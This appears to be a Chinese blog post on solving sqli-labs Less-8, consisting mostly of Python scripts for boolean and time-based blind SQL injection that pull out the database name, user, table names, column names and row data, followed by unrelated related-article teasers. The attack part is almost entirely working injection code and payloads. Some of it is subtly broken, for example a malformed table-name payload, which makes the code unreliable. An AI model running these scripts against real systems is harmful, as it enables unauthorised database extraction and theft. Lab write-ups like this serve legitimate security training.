sql盲注脚本

ops/2025/2/20 4:23:13/

在sqli-labs中的第8题无回显可以尝试盲注的手法获取数据

发现页面加载了3秒左右可以进行盲注

布尔盲注数据库

import requestsdef inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:path = "id=1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)r = requests.get(url,path)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_database(url)

结果

用时间盲注出用户名

import requests
import timedef inject_user(url):user=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = f"1' and if(ascii(substr(user(), {i}, 1)) > {mid},sleep(1),0)-- "res = {"id":payload}start_time = time.time()r = requests.get(url,params=res)if (time.time() - start_time)>1:# 匹配成功low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakuser += chr(mid)print(user)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_user(url)

结果

用盲注的方式查询表、列、具体数据

if __name__ == '__main__':url = 'http://127.0.0.1:8989/Less-8/'# 获取当前数据库名database_name = inject_database(url)print(f"Database name: {database_name}")# 获取数据库中的表名tables = inject_tables(url, database_name)print(f"Tables in database '{database_name}': {tables}")# 获取指定表中的列名table_name = 'users'  # 替换为目标表名columns = inject_columns(url, table_name)print(f"Columns in table '{table_name}': {columns}")# 获取指定表中特定列的数据column_name = 'username'  # 替换为目标列名data = inject_data(url, table_name, column_name)print(f"Data in column '{column_name}' of table '{table_name}': {data}")

时间检测模块

# 发送请求并检查响应时间
def check_time_injection(url, payload):res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)elapsed_time = time.time() - start_timereturn elapsed_time > 1  # 假设延迟超过1秒表示查询成功

数据库模块

# 获取当前数据库名
def inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)res = {"id":payload}r = requests.get(url,params=res)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)return dataname

数据库中表名模块

# 获取指定数据库中的表名
def inject_tables(url, database_name):tables = []table_index = 0while True:table_index += 1table_name = ''for i in range(1, 20):  # 假设表名长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f",' and if(ascii(substr(select table_name from information_schema.tables where table_name='{database_name}' limit {table_index-1},1),{i},1 > {mid},sleep(1),0)-- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格,通常表示结束breaktable_name += chr(low)print(f"Current table name: {table_name}")if table_name:tables.append(table_name)print(f"Found table: {table_name}")else:breakreturn tables

列名模块

def inject_columns(url, table_name):columns = []column_index = 0while True:column_index += 1column_name = ''for i in range(1, 20):  # 假设列名长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_name='{table_name}' limit {column_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格,通常表示结束breakcolumn_name += chr(low)print(f"Current column name: {column_name}")if column_name:columns.append(column_name)print(f"Found column: {column_name}")else:breakreturn columns

指定查询数据模块

# 获取指定表中特定列的数据
def inject_data(url, table_name, column_name):data = []row_index = 0while True:row_index += 1row_value = ''for i in range(1, 20):  # 假设数据长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {column_name} from {table_name} limit {row_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格,通常表示结束breakrow_value += chr(low)print(f"Current row value: {row_value}")if row_value:data.append(row_value)print(f"Found data: {row_value}")else:breakreturn data

结果

数据库

user


http://www.ppmy.cn/ops/158234.html

相关文章

华为HCNA(华为认证网络工程师)大纲

华为HCNA&#xff08;华为认证网络工程师&#xff09;是华为认证体系中的基础级别认证&#xff0c;主要面向刚进入网络行业的工程师&#xff0c;旨在验证其对网络基础知识的理解和技能。以下是HCNA的大纲内容&#xff0c;供参考&#xff1a; 文章目录 1. 网络基础网络概念&…

C语言中整型数据类型

C语言中short、int、long int、long long int、unsigned short、unsigned int、unsigned long int、unsigned long long int数据类型的区别是什么&#xff1f;使用printf()函数如何打印它们&#xff1f; 数据类型区别 在 C 语言中&#xff0c;short、int、long int、long lon…

Node.js中的npm包:从入门到实践指南

目录 一、npm的核心概念 二、npm核心命令与工作流 三、package.json深度解析 四、高级技巧与最佳实践 五、常见问题解决方案 六、未来趋势 在Node.js生态中&#xff0c;npm&#xff08;Node Package Manager&#xff09; 是开发者不可或缺的工具。它不仅是全球最大的开源软…

深度学习每周学习总结R6(RNN实现阿尔茨海默病诊断)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客R8中的内容&#xff0c;为了便于自己整理总结起名为R6&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制 目录 0. 总结1. 数据集介绍2. 数据预处理3. 模型构建4. 初始化模型及优化器5. 训练函…

双向链表代码

在介绍双向链表之前&#xff0c;先介绍一下链表的分类&#xff1a; 实际中链表的结构非常多样&#xff0c;以下情况组合起来就有8种链表结构&#xff1a; 单向或者双向&#xff1a; 带头或者不带头&#xff1a; 循环或者非循环&#xff1a; 看到有这么多的结构&#xff0c;你…

顺序表(C)

1.顺序表的概念 顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构&#xff0c;通常借助数组来实现。它的特点是逻辑上相邻的元素在物理存储位置上也相邻&#xff0c;支持随机访问&#xff0c;可通过下标直接访问任意位置的元素。不过&#xff0c;顺序表在插入和…

pentaho-aggdesigner-algorithm-5.1.5-jhyde.jar

个人博客地址&#xff1a;pentaho-aggdesigner-algorithm-5.1.5-jhyde.jar | 一张假钞的真实世界 Maven编译时无法自动下载pentaho-aggdesigner-algorithm-5.1.5-jhyde.jar&#xff0c;需要手动下载并安装到本地仓库。安装命令&#xff1a; mvn install:install-file -Dfile.…

react 创建项目报错(react19)详细解决办法

一、问题描述 使用脚手架创建项目的时候报错如下&#xff1a; 二、原因及解决办法 打开项目查看 package.json 文件发现&#xff0c;使用的是最新的19版本&#xff0c;所以会出现版本不兼容的问题 所以我们需要换成18版本的 1、删除node_modules文件夹 2、package.json 中替…